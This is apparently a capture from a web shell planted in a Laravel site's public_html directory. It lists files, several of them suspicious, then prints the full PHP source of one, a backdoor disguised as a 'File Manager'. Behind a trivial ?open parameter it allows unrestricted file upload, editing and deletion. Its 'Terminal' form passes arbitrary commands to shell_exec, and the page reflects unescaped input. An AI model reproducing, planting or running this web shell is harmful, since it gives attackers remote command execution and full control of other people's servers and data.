Current Dir: /home/u579681058/domains/milkfish.in/public_html/
[DIR] app [ delete | rename ]
[DIR] bootstrap [ delete | rename ]
[DIR] config [ delete | rename ]
[DIR] database [ delete | rename ]
[DIR] lang [ delete | rename ]
[DIR] Modules [ delete | rename ]
[DIR] public [ delete | rename ]
[DIR] resources [ delete | rename ]
[DIR] routes [ delete | rename ]
[DIR] storage [ delete | rename ]
[DIR] stubs [ delete | rename ]
[DIR] tests [ delete | rename ]
[DIR] vendor [ delete | rename ]
[FILE] .editorconfig [ edit | delete | rename ]
[FILE] .env [ edit | delete | rename ]
[FILE] .env.example [ edit | delete | rename ]
[FILE] .env.jsonc [ edit | delete | rename ]
[FILE] .gitattributes [ edit | delete | rename ]
[FILE] .gitignore [ edit | delete | rename ]
[FILE] .htaccess [ edit | delete | rename ]
[FILE] .prettierrc [ edit | delete | rename ]
[FILE] .styleci.yml [ edit | delete | rename ]
[FILE] 1698e88be3f7ebfmh.php [ edit | delete | rename ]
[FILE] artisan [ edit | delete | rename ]
[FILE] composer.json [ edit | delete | rename ]
[FILE] composer.lock [ edit | delete | rename ]
[FILE] default.php [ edit | delete | rename ]
[FILE] docker-compose.yml [ edit | delete | rename ]
[FILE] google12ea9e0942ecc25f.html [ edit | delete | rename ]
[FILE] jsconfig.json [ edit | delete | rename ]
[FILE] LICENSE.md [ edit | delete | rename ]
[FILE] milkfish.php.zip [ edit | delete | rename ]
[FILE] ok.txt [ edit | delete | rename ]
[FILE] package-lock.json [ edit | delete | rename ]
[FILE] package.json [ edit | delete | rename ]
[FILE] phpunit.xml [ edit | delete | rename ]
[FILE] pint.json [ edit | delete | rename ]
[FILE] README.md [ edit | delete | rename ]
[FILE] SECURITY.md [ edit | delete | rename ]
[FILE] server.php [ edit | delete | rename ]
[FILE] webpack.mix.js [ edit | delete | rename ]
[FILE] wp-Blogs.php [ edit | delete | rename ]
[FILE] zmp.php [ edit | delete | rename ]
Viewing: /home/u579681058/domains/milkfish.in/public_html/1698e88be3f7ebfmh.php
xx
<?php
/****************************
* Modern PHP File Manager (Require ?open)
****************************/
// === Require query ?open ===
if (!isset($_GET['open'])) {
http_response_code(403);
exit("Access blocked");
}
$BASE_START = __DIR__;
function safe_real($p){
$r = realpath($p);
return $r !== false ? $r : null;
}
$cwd = isset($_GET['p']) ? $_GET['p'] : $BASE_START;
$cwd = safe_real($cwd) ?: $BASE_START;
$msg = "";
// ===== Permission Helpers =====
function perms_string($path){
$p = fileperms($path);
$info = ($p & 0x4000) ? 'd' : '-';
$info .= ($p & 0x0100) ? 'r' : '-';
$info .= ($p & 0x0080) ? 'w' : '-';
$info .= ($p & 0x0040) ? 'x' : '-';
$info .= ($p & 0x0020) ? 'r' : '-';
$info .= ($p & 0x0010) ? 'w' : '-';
$info .= ($p & 0x0008) ? 'x' : '-';
$info .= ($p & 0x0004) ? 'r' : '-';
$info .= ($p & 0x0002) ? 'w' : '-';
$info .= ($p & 0x0001) ? 'x' : '-';
return $info;
}
function writable_status($path){
return is_writable($path) ? "✔ Writable" : "✖ Read-Only";
}
// ===== Actions =====
if ($_SERVER['REQUEST_METHOD']==='POST' && isset($_POST['action'])) {
$a = $_POST['action'];
// Upload (tanpa filter — bisa ditambahkan jika perlu)
if ($a==='upload' && isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $cwd.'/'.basename($_FILES['file']['name']));
$msg="Upload sukses";
}
if ($a==='mkdir' && !empty($_POST['folder'])) {
@mkdir($cwd.'/'.basename($_POST['folder']));
$msg="Folder dibuat";
}
if ($a==='mkfile' && !empty($_POST['filename'])) {
$f=$cwd.'/'.basename($_POST['filename']);
if(!file_exists($f)) file_put_contents($f,"");
$msg="File dibuat";
}
if ($a==='rename') {
$old=safe_real($cwd.'/'.$_POST['old']);
$new=$cwd.'/'.basename($_POST['new']);
if($old) @rename($old,$new);
$msg="Rename berhasil";
}
if ($a==='delete') {
$t=safe_real($cwd.'/'.$_POST['target']);
if($t){ is_dir($t)?@rmdir($t):@unlink($t); }
$msg="Terhapus";
}
if ($a==='save') {
$f=safe_real($cwd.'/'.$_POST['file']);
if($f && is_file($f)) file_put_contents($f,$_POST['content']);
$msg="Disimpan";
}
// ===== TERMINAL =====
if ($a==='terminal') {
$cmd = $_POST['cmd'] ?? '';
if ($cmd !== '') {
$terminal_output = shell_exec("cd ".escapeshellarg($cwd)." && ".$cmd." 2>&1");
}
}
if ($a!=='terminal') {
header("Location: ?open&p=".urlencode($cwd)."&msg=".urlencode($msg));
exit;
}
}
$editFile=null;
if(isset($_GET['edit'])){
$ep=safe_real($cwd.'/'.$_GET['edit']);
if($ep && is_file($ep)) $editFile=$ep;
}
$items=scandir($cwd);
function breadcrumb($path){
$parts=explode('/',trim($path,'/'));
$acc=''; $links=[];
foreach($parts as $p){
if($p==='') continue;
$acc.='/'.$p;
$links[]=['name'=>$p,'path'=>$acc];
}
return $links;
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Manager</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.css">
<style>
/* ===== LIGHT / WHITE THEME ===== */
body{
background:#ffffff;
color:#222;
font-family:'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
.card-modern{
border-radius:12px;
background:#ffffff;
border:1px solid #dcdcdc;
box-shadow:0 4px 10px rgba(0,0,0,.06);
}
.table thead{
background:#f2f4f7;
color:#333;
}
.table tbody tr:hover{
background:#f8fafc;
}
.badge-folder{
background:#e8f1ff;
color:#1a4fb8;
border-radius:6px;
padding:4px 8px;
}
.badge-file{
background:#eef0f3;
color:#555;
border-radius:6px;
padding:4px 8px;
}
input,textarea{
background:#ffffff!important;
color:#222!important;
border:1px solid #c9c9c9!important;
border-radius:6px;
}
a{color:#0d6efd;text-decoration:none;}
a:hover{text-decoration:underline;}
.btn-dark{background:#333!important;border-color:#333!important;}
.btn-xs{padding:2px 6px;font-size:.75rem;border-radius:4px;}
textarea{font-family:'Courier New',monospace;}
</style>
</head>
<body>
<div class="container-fluid px-3 py-3">
<h2 class="fw-bold mb-2"><i class="bi bi-folder-fill me-2"></i>File Manager</h2>
<p class="text-muted small mb-3">Light • Minimal • Clean</p>
<?php if(isset($_GET['msg'])): ?>
<div class="alert alert-success card-modern mb-3">
<i class="bi bi-check-circle-fill me-2"></i><?=$_GET['msg']?>
</div>
<?php endif; ?>
<!-- ===== Breadcrumb + Actions ===== -->
<div class="card card-modern mb-4">
<div class="card-body p-3">
<strong class="small text-secondary">Path:</strong>
<nav aria-label="breadcrumb" class="d-inline">
<ol class="breadcrumb p-0 m-0">
<li class="breadcrumb-item"><a href="?open&p=/"><i class="bi bi-house-door"></i></a></li>
<?php foreach(breadcrumb($cwd) as $b): ?>
<li class="breadcrumb-item"><a href="?open&p=<?=urlencode($b['path'])?>"><?=$b['name']?></a></li>
<?php endforeach; ?>
</ol>
</nav>
<div class="d-flex flex-wrap gap-2 justify-content-end mt-2">
<form method="post" enctype="multipart/form-data" class="d-flex gap-2">
<input type="hidden" name="action" value="upload">
<input type="file" name="file" class="form-control form-control-sm" required>
<button class="btn btn-primary btn-sm"><i class="bi bi-upload me-1"></i>Upload</button>
</form>
<form method="post" class="d-flex gap-2">
<input type="hidden" name="action" value="mkdir">
<input type="text" name="folder" placeholder="New folder" class="form-control form-control-sm">
<button class="btn btn-success btn-sm"><i class="bi bi-folder-plus me-1"></i>Create</button>
</form>
<form method="post" class="d-flex gap-2">
<input type="hidden" name="action" value="mkfile">
<input type="text" name="filename" placeholder="New file" class="form-control form-control-sm">
<button class="btn btn-info btn-sm"><i class="bi bi-file-earmark-plus me-1"></i>Create</button>
</form>
</div>
</div>
</div>
<!-- ===== TERMINAL ===== -->
<div class="card card-modern mb-4">
<div class="card-header bg-white fw-semibold">
<i class="bi bi-terminal me-2"></i>Terminal
</div>
<div class="card-body">
<form method="post" class="d-flex gap-2">
<input type="hidden" name="action" value="terminal">
<input type="text" name="cmd" class="form-control" placeholder="masukkan perintah (mis: ls -la)">
<button class="btn btn-dark"><i class="bi bi-play"></i></button>
</form>
<?php if(!empty($terminal_output)): ?>
<textarea class="form-control mt-2" rows="6" readonly><?=htmlspecialchars($terminal_output)?></textarea>
<?php endif; ?>
</div>
</div>
<?php if($editFile): ?>
<div class="card card-modern mb-4">
<div class="card-header bg-white fw-semibold">
<i class="bi bi-pencil-square me-2"></i>Edit — <?=basename($editFile)?>
</div>
<div class="card-body">
<form method="post">
<input type="hidden" name="action" value="save">
<input type="hidden" name="file" value="<?=htmlspecialchars($_GET['edit'])?>">
<textarea rows="15" name="content" class="form-control mb-3"><?=htmlspecialchars(file_get_contents($editFile))?></textarea>
<button class="btn btn-primary"><i class="bi bi-save me-1"></i>Simpan</button>
<a href="?open&p=<?=urlencode($cwd)?>" class="btn btn-dark ms-2">Batal</a>
</form>
</div>
</div>
<?php endif; ?>
<!-- ===== FILE LIST ===== -->
<div class="card card-modern">
<div class="table-responsive">
<table class="table table-hover mb-0">
<thead>
<tr>
<th class="ps-3">Nama</th>
<th>Tipe</th>
<th>Ukuran</th>
<th>Permission</th>
<th>Status</th>
<th class="text-end pe-3">Aksi</th>
</tr>
</thead>
<tbody>
<?php foreach($items as $it):
if($it==='.') continue;
$full=safe_real($cwd.'/'.$it);
if(!$full) continue;
$isDir=is_dir($full);
?>
<tr>
<td class="ps-3">
<?php if($isDir): ?>
<span class="badge badge-folder me-2"><i class="bi bi-folder"></i></span>
<a href="?open&p=<?=urlencode($full)?>"><?=$it?></a>
<?php else: ?>
<span class="badge badge-file me-2"><i class="bi bi-file-earmark"></i></span>
<?=$it?>
<?php endif; ?>
</td>
<td><?=$isDir?'Folder':'File'?></td>
<td><?=$isDir?'—':number_format(filesize($full)).' bytes'?></td>
<td><?=perms_string($full)?></td>
<td><?=writable_status($full)?></td>
<td class="text-end pe-3">
<div class="d-flex gap-1 justify-content-end flex-wrap">
<?php if(!$isDir): ?>
<a class="btn btn-primary btn-xs" href="?open&p=<?=urlencode($cwd)?>&edit=<?=urlencode($it)?>">
<i class="bi bi-pencil"></i> Edit
</a>
<?php endif; ?>
<form method="post" onsubmit="return confirm('Hapus item ini?')">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="target" value="<?=htmlspecialchars($it)?>">
<button class="btn btn-danger btn-xs"><i class="bi bi-trash"></i> Delete</button>
</form>
<form method="post" class="d-flex gap-1">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="old" value="<?=htmlspecialchars($it)?>">
<input type="text" name="new" class="form-control form-control-sm" placeholder="rename" style="width:100px;">
<button class="btn btn-dark btn-xs"><i class="bi bi-check"></i></button>
</form>
</div>
</td>
</tr>
<?php endforeach;?>
</tbody>
</table>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>